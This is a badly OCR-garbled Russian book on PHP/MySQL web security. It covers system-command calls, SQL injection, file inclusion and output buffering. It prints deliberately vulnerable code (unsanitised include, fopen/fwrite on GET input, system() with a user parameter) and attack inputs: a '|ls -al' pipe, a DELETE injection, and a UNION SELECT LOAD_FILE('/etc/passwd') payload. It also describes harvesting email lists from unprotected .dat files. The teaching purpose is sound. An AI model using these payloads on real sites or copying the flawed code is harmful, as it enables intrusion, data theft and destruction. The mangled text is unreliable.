0 ob_get_length — (YHKLHA BOIBPALIAET pasMep BhineNeHHOro Gydepa.

Bydepusaliuio MOXKHO YCKOPHTE elile GoMbILE, ECTK BKIIOWHTDL CIKATHE NAHHDLIX.
Jna 3TOTO HYXKHO BHINOAHKTE GYHKLMIO ob_start, & B KaYeCTBE apaMeTpa nepe-
ZaTh CTPOKY ob_gzhandler:
<?php

ob_start('cb_gzhandler’);

// BuIBOD RaHHuX
>

B sToM cnyuae nanHbte SyayT NepenasaThCa KNMEHTY B CkaTtoM Buae. Ecnu 6pay-
3ep KIMEHTA HE NOANCPHUBAET CIKATHA, TO NaHHbIe SyAyT NepenaBaThes B OTKphI-
Tom Buae. daxe ecnu 50% nonesosateneit GyayT nomyuaTh CKATHIC NAHHBIC, BB
CIKOHOMHTE I0CTATOHO MHOTO Tpaduka, a 3uauMT U pecypeos, Jlns Web-cepeepa
3TO JIIIHKWE PACcXOfbl MPOUECCOPHOTO BPEMEHH, BeAb MPUXOAMTCA BLIMOMHATH
JIMIIHME ONEpauuu MO CKaTHIo. 3aTo ceTesbie KaHalbl omoryT obGpabarbiBaTh
Gonblee KOAMHECTBO 3aNpOCOB, @ 3HAYUT M GbicTpee. Ecni pamr kaman cBR3W
3arpyxen Gonee weM na 70%, HEOGXOAUMO NOAYMATh O TOM, YTOGH BITIOUHTH
K3UIKPOBAHHE,

8.3.2. Kawmposanue Web-cTpanny

Ecnu pawm cuexapuu ans gopmuposanus Web-ctpanuusl ucronssyror SQL-
3aApOckl K A0CTaTouno Goabluol Gaze QaHHBIX, ¥ TIPH 3TOM K3MEHeHHS B Hell
TIPOMCXOAAT PEAKO, TO MOXKHO KIMPOBATh Leasie Web-crpanuubs, Kak oucHntb,
HACKONLKO PEAKO meHAeTcs Gasa nauHbix? Ji1a 9TOr0 HYXKHO CPaBHATH “ACTOTY
WIMCHEHHH C KONKYECTBOM OGpalen i, H CCM MEX/Y HIMEIICHUAMY MPOHCXOART
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PaboTta
C CUCTEMHbLIMU KOMaHpamMu

BoiMokHOCTH GOABUIMHCTBA A3bKOB HE Gesrpanuudnl. Ho naxe ecau y asbika
€CTh HEOGXOIMMBIE BOIMOIKHOCTH, O4EHb YACTO XOHETCA He W30GpeTaTh BeOCH-
TIe, @ BOCTIONB3OBATLCA YXKE CYLIECTBYIOMIMMH TPOrPAMMAaMH, aBHO OTJAXEH-
HuiMM U xopotiio pabotatowumu. Eciu 8 OC ecTh yTUAWTA, KOTOpas peiuaer
HeoGXONUMYIO 3a7iavy, Bbi JErKo MONETe BI3BATH e M NONYHUTH HYXHbIH pe-
3ynLTar.

O6pawenne k OC ¥ BbIIONHEHUE BHELUHWX KOMaH[ €CTh BO BCEX A3BIKAX NPO-
rpaMmyposanks. Ho nioBoe Takoe ofpauteniie, eci BHellHel porpaMMe nepe-
[IAtOTCA MapaMeTphl, Ha KOTOPbIe MOXET BO3NSHCTBOBATH MOAL3ORATENb, MOXKET
6bITh omacko. [oyemy "moxer GbiTs"? Jla OTOMY, ¥TO OMACHOCTD 3aBUCHT OT TO-
ro, Kak HacTpoen Web-cepBep M C KAKWMH PaBAMU OH PaboOTaCT, KAKHE KOMAHABI
eMy JOCTYIIHBI, K Kakum ¢akiam moxeT GbITh MONYyueH JOCTYN W kakoll (4TeHue
WTH 38MHCE).

BoapiukHcTBO PACCMOTPEHHBIX HUXKE PUMEPOB 6y11yr NPHUBEASHH Ha A3bIKE PO~
rpammuposatka PHP, notoMy 4TO €ro f Ayuile 3HaK, HO NPUHLMNL! CO3MAHNR
Gesonackoro cuenapus GymyT TaKMMH ke M 1A GONBIUIMHCTBA APYTHX A3BIKOB.
OrnuyaloTea TONbKC MeTobl ofpawenus k QailioBoil CHCTEME, a OMacHOCTb
M 33L1ATA OT HEE UMEIOT CXOXKHE KOPHH.

4.1. BbI30B CUCTEeMHbIX KOMaHA

13 GoMBIIMHCTBE A3BIKOB €CTh KOMAHIB! BBI3OBA CHCTEMHBIX koMana. HauGonee
nonyaapuoit Tako# komanaoii 8 PHP sensevcs Qynxuus system B paneaefiwem
Mt y3naem (cm. pasd. 5.4), uTo npu paGoTe B 3aLAIEHHOM PEKHUME HHTEPNpETA-
ropy PHP Beinosisesue 310l hyHxkuMy (1 Apyrux yHkumii obpatieHus k cucre-
Me) JIYHLLI BCCI'O JaMPETHTH, HO HTO, ECAY 68 HETOMb3OBAKHE HEOBXOMMMO?
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TpoGensi B IAHHOM CiTyuae BBEAEHb! TOMLKO LTS TOTO, HTOOE! Bbl BHAENH rpdHU-
LBl CHMBOJIOB. B peanbHbiX yciorMAX 3TOro He HyxwHo. Ecnu nepenats s kavectse
niapaMeTpa 3Ty CTPOKY, TO B peaynbTaTe Gasa AaHHBIX BEPHET HaM 3aITUCH, B KOTO-
poix ecTb kak Mikhail, rak 4 Michael.

CHMBON [IPOLCHTA 3AMEHAET MOCASAOBATELHOCTE H3 MOBLIX CHMBONOB. DTO 3Ha-
HHT, ¥TO IpoGneMy HMeHH MuXann MoXHO PelliuTb CICRYIOWHM 06pasoM:
Misl

PesynuTar 6yaer TOT xke cambiii U §a3a NaHHBIX BEPHET HAM 3aMHCH, B KOTOPHX
ects kak Mikhail, Tak u Michael. Eciu 8 kauecTse napaMerpa npocTo nepeats
CHMBOJT IPOLIEHTA, TO B PE3YTLTATE MBI [IOITYUHUM aGCOMIOTHO BOE 3AMMCH Tabuubl.

Kak 9TH CHMBONEI MOTYT WCTIONb30BaTh XaKepbi? Jla oueHb mpocto. JomycTuM,
YTO ¥ BAC €CTh TaGAUUA users, B KOTOPOH XPaHSTCS MMEHA YHETHBIX 3aMHCcei BoeX
nonb3osateneit Web-caitra. lna sxota Hva Web-caiiT nonsiorarens BBOAUT UMS
Tlonb3cRaTesis W napofb, a Bauml cueHapHﬁ AOIKEH NMPOBEPHTE, €CTh NIH TBKO“
TI0NB30BATENb B TBGJIHLIC. BoamorxkHas TIpOBEPKA MOXKET BBIMNMAILETE CACAYIOUINM
obpasom:

$result=mysql_guery (*SELECT * FROM users
WHERE username LIKE ‘S$username’
AND password LIKE '$password'");
if (mysqgl_num_rows ($result)>0)
{
// Tonp3oBaTens cymecTsyeT
}

B nanHOM ciyyae moapa3yMeBacTCs, MTO B NEPEMEHHON $username HAXORHTCS
UM NPOBEPAEMOTO TIONBIOBATENA, 8 B [IEPEMEHHON $password HAXOAWTCA TapOJb.
Ecau SQL-3anpoc BOIBpaL@ET XOTH 661 ONHY CTPOKY, TO ABTOPU3ALMIO CYHTAEM
npolifienHoli ynauko, Beab pas Takoil MONL30BATENb €CTh B TabauLe, 3HaUMT Boe
B nopanke.

Ha nepnbw“l B3rAAd, &IrOpPHTM PBG(YTBCT HOPMAaNBHO, 3 €C/IM B KA4YeCTBE UMEHH H
1apOJIA YKa3aTh NPoLenT? B 310M cyvae 3ampoc BepHET BCE 3aTIHCH, W CLISHApHI
NOCUMTAET HALly aBTOPUIAUMIO KOppeIﬂ'HOﬁ, XOTH H2 CaMOM JeNe oHa Takol He
ABNAETCH.

Uto6Li aBTOPU3OBATLCA MO HYXKHM HMEHEM, OCTATOUHO YKA3aTh ETO HMA TIONb-
3oBatens (Ha Web-caiiTax i GopyMax MMEHa 3aperHCTPHPOBAHHBIX MOMB3OBATE-
neil yalne BCero He ARMAOTCA CEKPETOM), A B KAYECTBE NAPONS YKalaTh [IPOLEHT.
B peaynbTaTe 3anpoc HaliaeT HyXHYIO 3anHCh U paspelluT HaM BxoA. XaKepy aoc-
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Cpasy BUAMM HMS MONB3OBATE/A, KOTOPOS HCMONB3YETCH AMIS AJMUHUCTPHPOBA-
wus: flenov, Tlocne 3Haxa PaBeHCTBA MOXKHO YBHAETH 3aIUM(POBAHHBIH Naponb.
Bnaro ero XoTs 3aumgposaiy, HO €CH OH NPOCTOH, TO, UMes Xeul, NOZOGpaTh
NapOsib MOXHO 38 HOUB.

Janee base.dat. Ecitn ero oTkpbits 13 Gpaysepa, To BbI yBUIUTE axpeca 31eKTPOH-
HOW NOuTHI BCEX MOANHCYMKOB (puc. 2.3). BoT Tax BOT MOXHO noAyuuTb 6asy
[D@HHBIX U PaccHUTKH cBoeit peinambl. HekoTopbie IOAH mnaTaT Gosiblike AeHb-
TH 3a nofyuenue 6a3 JaHHBIX paGOUHX AZPeCOB IEKTPOHHOM TIOYTDI, @ Bbi MOXKETE
nonyuuTs ee GecmutatHo, ecnn Hafinete ¢ nomowsto Google Web-caitr, Ha koto-
POM WCNOAB3YETCA COOTBETCTRYIONIMH cueHapui pacceuiku. TloMck MOXHO cae-
nath no Hassauuio SR Subscribe.

s

¢ ndna A

Puc. 2.3. Baaa gaHHbix aAPECOB INEKTPOHHON NOUTHI

Ecnu Bbs Hawnm cooTseTcTByromuMi Web-caiit, To nonpoSyiite nposeputb Ha-
nHuMe pocTyna K daitnam 6a3bl gaHHBIX M Napoas. Ecnau OHM He 3anpellieHs!
¢ momoutbio .htaccess, T0 Bam noseseT. ECiu Bbl CAMH HCTIONB3YETE MOAOGHBIA
cueHaprii, To ceayeT No3aboTKTECA O €ro 3aluMTe, 3aNPeTHB J0CTYN KO BCEM
datinam .dat.

BawuTrTe 6asy aamkix ¥ daiin naponeit Moo gocTaTouHo NpocTo U He3 BHece-
HUs B KO H3MeHeHnit. Moxno ofpatnTses k (aiiny .htaccess, koTophifi nossonset
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51 ayMaio, 4T He HYKHO NIPHBOMKTL JIHIIHHA Pa3 MHOXKECTBO MPUMEPOB C YTEHH-
©M KOH(HIypauHOHHBIX (Ao, Tyyllle paccMOTPHM OAHY 0COGEHHOCTb, KOTOpas
KacaeTca QyHKUMH OTKpHITHR (aiios open. ¥ HEe €CTH OAHA MNTEpPECHAS OCO-
GEHHOCTL: OHa MoXkeT paGoTaTh He TONLKO ¢ dalinamu, Ho M ¢ koManaHOH cTpo-
ko#i. YToGbl BLINOMHUTE KOMaHIY, AOCTATOMHO MOCTABUTL B €€ HA¥aNo CUMBON
BEPTHKAILHON wepTel. Hanpumep, ecnu Bbl XOTHTE npocMoTpers daitnbt B Te-
xywed anpextopuu (8 OC Linux 310 kOMaHBa 1s), TO MOXHO B Ka4eCTBE mapa-
MeTpa nepejars:

|1s -a1

Kniou -al 8 gaHHOM ciydae A0GaBiIseTcs A Toro, utobsl yBuAeTh noapobuye
uadopmaio o daiinax. Ha puc. 7.1 MOXHO YBHAETh PE3yNLTAT BhIMONHEHHS
3TOH KOMaHIbL.

Puc. 7.1, Peaynbtar otkpurrus dhavina [1s -al

Takum 06pazom, Graronaps ownbie B hyHKUUK OTKPLITUS daiinos Xakep nonyua-
€T BO3MOXHOCTh BLINOIHATL KOMaHIB! ha Bawem Web-cepaepe. C nomotueto mpo-
CTBIX KOMAHJ THNA rm OH MOXET Gea npobneM yaanuTs Bee Galinbl WK 3AMEHHTS
riasryto Web-cTpanuiry croeit.





index-155_1.png
FnaBa 5

SQL-uHBbekuua (PHP + MySQL)

SQL-unwexuns (SQL Injection) — camas pacnpocTpaHEHHAs aTaka W NP 5TOM
oueHk onacHas. OHa OCHOBAHA HA TOM, ¥TO MOAYHaEMbIE OT NO/IL3OBATENA Napa-
MeTph! nepepatotcs B SQL-2anpoc Gez nposepkyu Ha ofackble cumBosbl. Yo Takoe
OMaCHBIE CHMBOABI? DTO CHMBONBI, KOTOPHIE NO3BONAIOT KOPPEKTUPORATS 3aIIPOC
TaK, YTOO BITOMILMK CMOT MOAYYUTH AOCTYN K BO3MOKHOCTAM CBEPX PaspeileH-
ueix, 310 BHenpenye (Munekuus) cobereentioro SQL-aanpoca B Teno sanpoca,
BLINONIHAEMOTO CLLeHapHeM Ha cTopore Web-cepaepa.

JlakHas aTaka MOXKeT GbiTb yNAYHO TPOMIBEAEHA HA CLIEHAPHM, HATTWCAHHBIE Ha
sasikax PHP, ASP, Perl u 7. 21., ¥ B 3TOM Mbl yGeAUMCA H2 MHOTOUYHCIEHHBIX PH-
mepax, TIPUBeLCHHBIX B 3T0H rase. ATaka HaMHOrO Gonblle 3aBHCHT OT TOTO, Ka-
kaa ucnonbsyercs CYBJ ¥ kak peanu3oBaH cueHapuii. JIeno B TOM, YTO Xakep
koppektupyer SQL-3anpoc, kotopuii seinonaserca CYBJI, kaknas U3 KOTOPBIX
¥MeeT CBOM HIOAHCH! M MOANEPKMBACT BYHKIWH, KOTOPEIE MOTYT HE NOANSPKU-
BaTLCA APYTUMH.

OnrnGiy, KOTOpbIE TO3BOAAOT NPOBOAUTS SQL-UHEBEKUHMIO, O4eHE PACTPOCTPaHEHb!
1 oueHb onacHbl. Ho fng x ynauso# peanu3au HyXHbl XOPOUIME 3HAHUA B 06-
nactu Hanucanus SQL-3anpocos ana konkperHoi CYBJ. OcHoBHbiE onepaTopsl,
TakWe Kak SELECT, UPDATE W DELETE, 111 BCEX OAUHAKOBLIE C HeGonbIIUMY OTAK-
unaMu. A BOT OTIepaTophl Co3AaHUa obbexToB Gazbl AaHHBIX (COS}IBHMB, n3MeHe-
1IME Y yaaneHne TBGJIML\) MOXKET OTAUUATLCA AOCTATOUHO CUABLHO.

Ilo 60nblue BCEro OTNHUMS NPOABIAIOTCA B XPAHHMBIX IpoLeAypax (stored proce~
dure). Hx uMena # HasHauesne OTAMHAIOTCA OYEHb CHABHO M 3mech Ge3 crpasou-
11¥Ka MY XOPOLUMX 3HAHUH 1aHHOM Ga3ssl DaHHBIX He ofolTHCE.

1§ oToit rase Mbl OTOBOPHM 06 araxe “2SQL-uHbexumA” H NOCMOTPHM, Kak XaKephbl
©C MOTYT Peanu30BaTh, ¥ KaK NIPOTPaMMHUCTEI 3aLIHINAIOTCA. A MHOFOUMCACHHbIE NP~
MCPbI TOTO, KAK HAXOAWTh OLIMGKY, FIOMOTYT BaM OLEHUTH BCIO OMACHOCTH CHTYA-
1Y A HYHUIC HOIATS, KK HAHTH SOHEKTUBIIOE PEITeitUE B TOM KW HHOM CIIy4Re.
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MIOYHTAIO HE NABATH XAKEPY MUINHUX NOBOAOB, W KOrAA nenonbiosan phpBB) To
MIPOCTO YAANMA NAaHHYIO (yHKLMIO.

Ha manbiit MOMenT Bepcus dopyma phpBB 2.0.10 ssnsetca yetapesiuelt, noaro-
My fyuine scero Gyner oGHOBHTL NporpaMMy Ha Gonee Hoeyto. Ha MomenT Hami-
caHus 3TUX cTpox Ha Web-caifte paspaGorumkos (www.phpbb.com) yxe soc-
TynHa Bepeus 2.0.20. Cravaifte MOC/iEAHIOIO BEPCHIO U Mcnomb3yliTe ee, a TaKXKe
perynsprio nocewaiite Web-calT pa3pafoTaMKoB, NOATMIIHTECH HA PAcCHUIKY
M CBOSBPEMEHHO OGHOBMANTE YCTAHOBICHHEIE NPOrpaMMbl. [ToMHKTE, 4TO Rake
ecnn saw Web-caliT He crIbHO MOMyAAPEH, uepes yAIBUMOCTh B €r0 CUEHAPHAX
MOFYT mocTpanats apyrue Web-caifol.

3.3. Huyero nuwHero

B cetu cefivac MOXHO HaliTH MHOXECTBO MPOTPAMM [UIS AAMHMHHCTPAaTOPOB
 TIONb30BATENeH, KOTOPBIE XOTAT co3HaTh cobcTBeHHbid Web-caiit. Ecau agmu-
HACTPATOPL! AOCTATOUHO HACTO NOAXOAAT K BLIGOPY TAKUX NPOrPAMM C YMOM, TO
HEOMBITHLIH M HUYEro He 3HAKOLMHA TIONE30BATETh OKA3LIBACTCS B 3AMEILATENLCTRE.
Beps BCemy, NTO MHMILYT B peKJaMe, Mbl HAYWHAEM YCTAHABMBATE PasiMuHble
YTHAHTBI, KOTOPbIE YNPOLIAIOT YApaBAEHHe coepkiumbim Web-caira.

Ho kaxaas Takas nporpamma ssiseTca ynapom o Gesomactoctd. JTo 9 yxe He
pas rosopun, korna onuceiean OC, u nosTopio ceiiuac. JanaiiTe NocMOTPHM, Kak
OTPULATENLHO MOKET MOBIMATh YCTRHOBKA MWIIHKX cuenapWes Ha Web-cafir
(puc. 3.7).

Yem MoT npuBredb MeHa 310T Web-calit? Bo-nepseix, OH A0CTATOMHO MHTEpEC-
HbIH, XOTb ¥ Ha HE NOHATHOM MHE W [na GOMbIIMHCTBA YUTaTeAeH AIBIKE (4TO yC~
nokHAET B3nom). Bo-sTopeix, ucromwayer crapyio sepcuo ¢opyma Invision
Power Board (2.1.1). Ha momeHT HarmcaHua 5Toii raaBu yxke 6b11a OCTYNHA Bep-
cha 2.1.5. Ho a He cTan ucnionw3oBaTh s BIIOMa T¢ YA3BUMOCTH, KOTOPLIE yaike
Guiny Ha Web-cepsepe. 51 sanyctun nouck B Google H Halien OHeHb HHTEPECHYID
CeBUIKY:

hitp://www.unlock.no/software/

idex.php?dir=uma qupextopnn&file=ums ¢aitna

{‘nosa napaMeTpLl dir ¥ file, KOTOPEIE IO3BOMAIOT CKauath dafin. 51 mompoGosan
ykasaTh B 06OMX NnapameTpax nycToTy, s ysuaen ownbky noctyna. XotH Her, 10,
IO 5 YBUIEN, 3TO KAKOE-TO COOBIIEHHE HA HEMIOHATHOM MHE S3bIKE, 110 OYEHD M0-
xoxee na owmbry, MHTepecHo, a UTO eCnM YKasaTh B KAUECTRE KMEHM AKPEKTO-
prme " vinn frpocto /", B oTeer croBa owkGka, 110 Teneph yKe na AHr-
JHIACKOM SIBIKC, KAk noxazano na puc. 3.8 (na pUCyHKC i NAMCPEIRIO WTOp
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3.4.3. YazBumocTs

Teneps NOCMOTPUM, KAK XaKep MOXKET MCTIO/b30BATH ABTOMATHHECKYIO PETUCTPa-
UMIO MEPEMEHHEIX B CBOHX KOPBICTHBIX uesx. JIOmycTHM, YTO y Hac €cTh CLSHE-
puii, npuBencHHbI B AMcTHHrE 3.6,

<

function checkparam{svar)

¢
svar=preg_replace(’/[*a-z1/i%, *", $var);
return $var;

}

if (isset{$_GET['file’']))

[ .
S.GET('file'] = checkparam($_GET(‘file'l);
$_GET('dir'] = checkparam(S_GET('dir']);

}

2>

<HTML>

<HEAD>

<TITLE>Injection test</TITLE>

</HEAD>

<BODY>

<center><h3>Injection test</hi></center>

<hr>

<a href="param.php?dir=newskfile=netutils">Read news</a>
<hr>

<?

if (isset(sfile})

(

print($dir."/".8file):
.$file):

include ($@ir.
)

>

</BODY>
</ITML>
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Puc. 4.1, MNpuMep BLINONHEHUA CUCTEMHOR KOMAHAL!

BbiNOTHEHHE CHCTEMHBIX KOMAHI B CUCHAPHH BCETA@ CBAIAHO C MOBLILICHHBIM
PHCKOM, MOTOMY YTO YMPaBIGHHE MpaBamMn A0CTYNA W QUABTPALMA NAPaMETPOB
B 3TOM Clly4ae 3aTpyAHEeHbI.

Koweuno, Takoil uaeanbuulii BapuaHT, kak B nucTuure 4.1, BCTpeTums oueHs
CNOKHO, HO Bee e, SBIBAIOT CyYaH, KOTaa MoAOGHBIC CUSHAPHH aIMHHHCTPATOPbI
co3a0T AAa ynoGeTea ynpasnenus Web-cepsepom i HasErTCA, YTO XaKep O HHX
MMKOTAZ HE Y3HAET MW HE NONYUUT K HUM JOCTYNA (HanpHMep, eClli AaHHLIH Koa
PAcONOXKEH B NaHENU ATMHHHCTPHPOBAHHA). HaMHOro vaille MOXHO BCTPETHTH
1ibI30B OTIPEENIEHHON CHCTEMHON KOMAHbI, 3 YEPE3 NEPEMEHHYIO NEPeaeTcs 110-
HoMHKTENbHLIH napameTp. Hanprmep:

print(system("ping -¢ 5 ".$command) )} ;

B janiioM ciyuae BBITOAHACTCA CHCTEMHAA komakaa Linux ping ¢ napaMeTpoM -c¢ 5,
KOTOPAs NIPOBEPAET CBAb ¢ YKA3aHHLIM KOMIbIOTEpOM. [TapameTp -c Hcnonwiyer-
A U YKA3aHMA KOMHYECTBA MOMBITOK HIH TIOCLITACMBIX nakeTos, 8 /ipyrux OC
O MOKET GhITh ApyruM, nanpumep, B Windows ju1 3Toil e Henoabiyeres -n.
BB AaNHOM Ciyuac MBI OTPaHMYMBACMCS 1IATHIO NAKCTAMH, A BOT MIPES KOMUBIO-
epa yKﬂ’,IhlI'illl."l'Cll HCPC'S NCPEMCHHY IO $command, KOTOPUA CONCPKHIE ||0P°Jul||"h|’
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Ora komaHfa yaanser ykasawHywo Tabnuuy. Takum oBpasoM, MoXHO pacmpo-
marses ¢ Tabnuuelt U BCeMU e¢ AasHbIMU. Xakepy TOMBKO HYXKHO 3HATh HMA Tab-
JALBI, KOTOPYIO OH XO4ET YAANIATE, ¥ MMETh COOTBETCTBYIOLIHG TIpaBa.

XopoiuKe agMUHHCTPATOPLI 3ANPEINAIOT BHIMOIHEHHE KOMAHB! yfaneHus Gas
fannbIx ¥ Tabnun. Ho 3anpeTuTh BCTasky, OGHOBNGHHE U YRANCHHE ARHHBIX U3
TabAML OYEHB HACTO HEBOMOXHO,

'; DELETE FROM Mma taGauum; /*

Jing BLIMONHEHHS 3TOTO 38POCA ONATL XKE HEOGXOMMMO 3HATH MMA TaGaMue!
W HMETH NPaBa HA BLINONHEHHE 3aMpoca DELETE. Eciu DROP TABLE MOCTATONHO
TIPOCTO 3aNPETHTh, TO KOMaHAA DELETE OYEHb YACTO HEOGX0NMMA CLUEHAPHAM, U ce
OrPaHuyUTL CHOKHES.

3uas nons Tﬂs!"rlllbl, Bbl MOXKETE BHIOAHATL KOMaHAbl UFDATE A1 H3MCHCHHA
JaHHBIX WK INSERT Ans R0GaBneHUs HOBbIX 3anucell. KoMaHAa uaMeHenus fan-
HBIX TaK XK€ Onacwa, Kaxk W ypanenue. Hanpumep, Xakep MOXKET BHEAPHUTH cre-
aywomui SQL-3anpoc:
UPDATE smf_polls
SET question=''
Braronaps atomy SQL-3anpocy sce sonpocht B rofocosann SymyT obuyncHb.

BbInoaKeHHE KOMaH OGHOBAGHUA H BCTABKK HaUGOMee onacHo B Tabauuax, B Ko-
TOPLIX XPAHUTCH MHPOPMALIUA O MOb3OBATENAX, HATIPUMED, XAKEP MOXKET BbITION-
uuth SQL-3anpoc ofHoBneHus (UPDATE) 3anMck aaMMHMCTpaTopa ¥ oGHyAHTbL
naponb HAH YCTAHOBHTH CBOﬁ, I0CAe Yero CMOXeET Nony4YHTh Npasa agMUHUCTPa-
Topa. Ho 3710 cpasy BEAIacT 3A0yMEILIACHHUKA, FIO3TOMY NYHILUM BapuaHTOM Gy-
Aet HoGaBUTH HOBYIO 3aIMCh ¢ TPABAME ANMUHMCTPATOPA WM YCTAHORMTL NPU-
3HaK Cynepnosb3oBaTesns AN ceoeli yqe‘moﬁ 3aNHCH.

5.2.3. flocryn k channoBoi cucreme

C noMousio SQL-3anpocos MOXKHO NOAYUKTS Aake ZOCTYN K haiinoBoH cucteme.
Jlna sroro 8 MySQL ecTs ziBa onepatopa LOAD_FILE M into outfile. C nomouusio
IEPBOro MOYXKHO NPOUUTATL aiis, Hanpumep:

hacker‘ union select null,LOAD_FILE('/etc/passwd'),
null,null,null, null, null, nutl,null/*

B pesynbrate Gyzer BeinosHeH caenyownii SQL-zanpoc:

SELECT *

FROM smf_polls

WHERE posterName=' hacker' union select
null, LOAD_FILE{'/etc/passwd'),
mll,null,null, null,null, null, null/**
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ABTOMaTHUYECKHE CKaHepb! BesonackHocTH MPOBEPsAIOT HE TONbKO y)l:lB“MOCTM..OC
nee cny>x6, HC W CNOXHOCTL NapoAs, M HMeHa Y4eTHbIX 3anuced. B ux aHannsa-
Topax ecth Gasa HauGosiee 4acTo MCNONb3YEMbIX UMEH U naposeli, M NPorpaMMa
nepeSopom nposepset ux. Ecnu yanoch npoHWKHYTh B CHCTEMY, TO BblaeTes
coobIleHHe O CAKUIKOM nPocToM napone. OGA3aTENbHO 3aMeHUTE erc, NOTOMY
YTO XAKEP MOXET HCTIONb30BATh TOT XE METOZ, M IErkO y3HaeT NapaMeTpsl y4eT-
HOH 3anHcH.

Ckatepsl 6e30nacHOCTH MOTYT HCNONB30BATh KaK XaKephbl, TAK H aiMHHUCTPaTO-
pbl. Ho 3anaum y HiX pasHbie. OHHM HYXKHO aBTOMAaTHYecKOE BbIBEHHE OUIN-
60K A5 NOCEAYIOUIETO NPHMEHEHHS, A BTOPbIE HCHOMBYIOT €I ¢ LIENbIO NOUCKa
YA3BHMOCTH C MOCNEAYIOUIUM YCTPAaHeHHeM OUIMOKM, NpUieM KKeNaTeNbHO 3TO
CAeNaTh paHblile, YeM HalzeT W ByneT UCMONb30BATD &€ Xakep.

OwnbKH, KOTOPBIE BbI MOXETe HaWTH, M KOTOphle MOrYT NPHBECTH K B3NOMY,
MOXHO Pa3AenuTh Ha CNCAYIOUIHE KATETOPHH:

O ownbiu B kone nporpamM. Takne OWHGKM HCOPABASIOTCA NPOCTBIM OGHOB/E-
HHEM;

O ownbky xondurypauuy. B HekoTOphIX ciydasx BnonHe Gesobuanbie npo-
rpaMMbl MOFYT OKa3aThCH ONACHBIMH NPH OMPEACNEHHbIX HACTpolikax. JaHHble
owubk1 NPOABNAIOTCA H3-32 HEMPOECCHOHANMIMA WK HEBHUMATENLHOCTH
aJIMMHHACTPATOPOB;

0 npunyauTensHoe nonwkeHHe GesonackocTh. Hanpumep, morna 6uiTh BknioyeHa
onpejeneHHas OfLMA, KOTOpas CHIKAcT Ge30NacHOCT: Win pa3Mep KIliOua
uMppoBaHMA ATA TOrO, YTOGL! COXPAHHTh COBMECTHMOCTb CO CTAPBIMM Bep-
CHAMM NporpaMMsl. B faHHOM cy4ae HEOGXOAUMO OBHOBHTb BCe MPOTPaMMBI
M OTKa3aTheA OT HCMIOMbI0BAHHSA CTAPBIX CHCTEM.

He Bce aBTOMaTHueCKHE RHANH3ATOPLI PA3AENAIOT OWMGKA M0 THNAM, HO MOHW-
MaTb HCTOUHUK CLIMGKH HKETATENbHD,

1.4. Banom Web-cepBepa

Tpu Banome Web-cepaepa ecTs cBon ocobeHHocTH. Eciy Ha HeM BEINONTHAKTCA
CGl, PHP nmu npyrue cueHaphy, TO NpeiBApHTEILHbIE HCC/ICAOBAHHA, KOTOPbIE
Mbl OTIHCBIBAIM paHee, MONHO OfycTHTh, FHOraa moxHo oboiiTucs M Ges crani-
PoBaHHMA NOpToB, 2 BOT OC onpenenuTh KeRaTeNbHO, Belb KOrAa Bbi MONyuHTe
BO3MOMHOCTb BLINONHATL KOMAH/Ll, Bb 10/KIbI 3HAT, KAKME WMELHO KOMAILAbI
MOXET BLINIONTHATH CHCTEMA.

Jna Hauana HyxHO npockanuposath Web-cepsep Ha Hanuumne ysasumbix CGl-
cicnapHes. Jla, HMCIHHO NPOCKAHUPOBATE, NOTOMY UTC €CTh LPOIPAMMEI, KO FOPIMO
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NapaMeTp, Xakep CMOKET TOIBKO NPOCMaTpPHEATE (aliikl, HO HE CMOXET BHEAPHTH
cpoit PHP-xon B cuenapwii, 4To HaMHOIO onacHee.

Ecnu mosyyennoe uma Ges mposepok Mcronk3yeTca npw sanucH adina, To TyT
yKe cocem HHOE. HOmycTUM, YTo HaM HEOGXOAUM CLIEHAPHH, YTO-TO THIIA rocTe-
BOI KHUMH WM KHHTH OT351BOB. B 3aBHCHMOCTH OT THNAa BOMpPOCA MONB30BATENs
MBI JOKHE] GYleM NOMECTUTL BREAEHHBIN BOMPOC B TOT WM Mol aiin. Uma
talina u coxpataeMbie Aanuble SyaeM nepefasaTh METOIOM GET, XOTA M Apyro#
METOA Mepefay 3alIMIUEHHBIM HA3BaTh HENb3A. YIPOLMICHHDIH BADHAHT pellenns
ZaHHOM 38]124K MOXHO YBHAETE B JTUCTHHTE 4.4,

<HTML>

<HEAD>

<TITLE>Injection test</TITLE>

< /HEAD>

<BODY>

<center><h3>Injection test</h3»></center>
<hr>

<form action="file.php?command=questions/user.txt" method="gec">
<BR>Quesgtion: <input name="param" gize=50>

<input type=“submit® value="Fing">
</ form>
<hr>
<?
if (isset($_GET[’command’]))
{
if ($£=fopen($_GET[ 'cammand’], “w+"))

print("File: ($£)");
else
die("Error"};

$s = fwrite($f, $_GET['param’]);
fclose($f);

«/BODY>
« /HTML>
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Hexotopsie U3 3THX NPOGIEMHEIX MECT Mbl GyneM paccMaTpuBath B AAHHON INa-
B¢, 2 TAKUM oiunbkaM, kak SQL-Hubekuus U paGoTa ¢ CUCTEMON, MBI YHGIIHM BHH-
MaHHE B ITOC/ICAYIOIMAX INaBaX AaHHOH KHHTH.

3.1. HeBeptoe oGpaweHue K daitnam

Hcropus, koTopywo a ceifuac pacckaky, OUEHb XOPOLLO MOAXONMT IOK TeMy AaH-
HOH T/IaBb! W XOPOIUO HAIOCTPHPYST NpoGACMHBIC MECTa TAPaMETPOB, KOTOPbIE
MEpeNaloTca cepsepHOMY cueHaphto. HenasHo s HaTkHynca wa ogus Web-caifr
(He GyAeM YTOUHATh €r0 HaIBAHKE), HA KOTOPOM 3awuTa Gbina faeka OT Haeana.
TlioGoli xakep, ysraes, kak Gopmupyerca URL ua stom Web-caitte, cpasy naunet
KOmaThb IIYGXKEe ¥ CMOXKET MONYYMTh HEOTPaHM4eHHbe npaBa nocTyma. ITocMor-
PUM Ha JOTIYIIEHHbIE OMUGKH, YTOGb! HE ITOBTOPUTE HX B CBOMX NPOEKTAX.

3.1.1. Mpumep peanbHoW oWNGKN

B paccmaTpusaemblx TpMepax peanbHoe ums Web-caifta Gyzer sameHeno Ha
sitename.domain nio npocsGe ero raanensues. [omMuMo 3TOTO 4 OTIpasUA pa3pa-
6OTHUKAM NUCBMO C OMHCAHWEM OLIMOKM M, HA CKOMBKO MHE HIBECTHO, OliHbKa
yoKe UCTIpaB/eHa.

Wrak, URL ua Web-caiite ¢opmuposarca creaylowuM  ofpasom:
http://www.sitename.domain/index.php?dir=xatanor&file=gaiin. B napamer-
pe dir NepenaeTcs UM JUPEKTOPHH, U3 KOTOPOH HYXKHO NPOYUTaTh paks, a 4epes
napameTp file mepenaerca uMa Qaitna. Mue cpasy e cTano MHTEpECHO, YTO o~
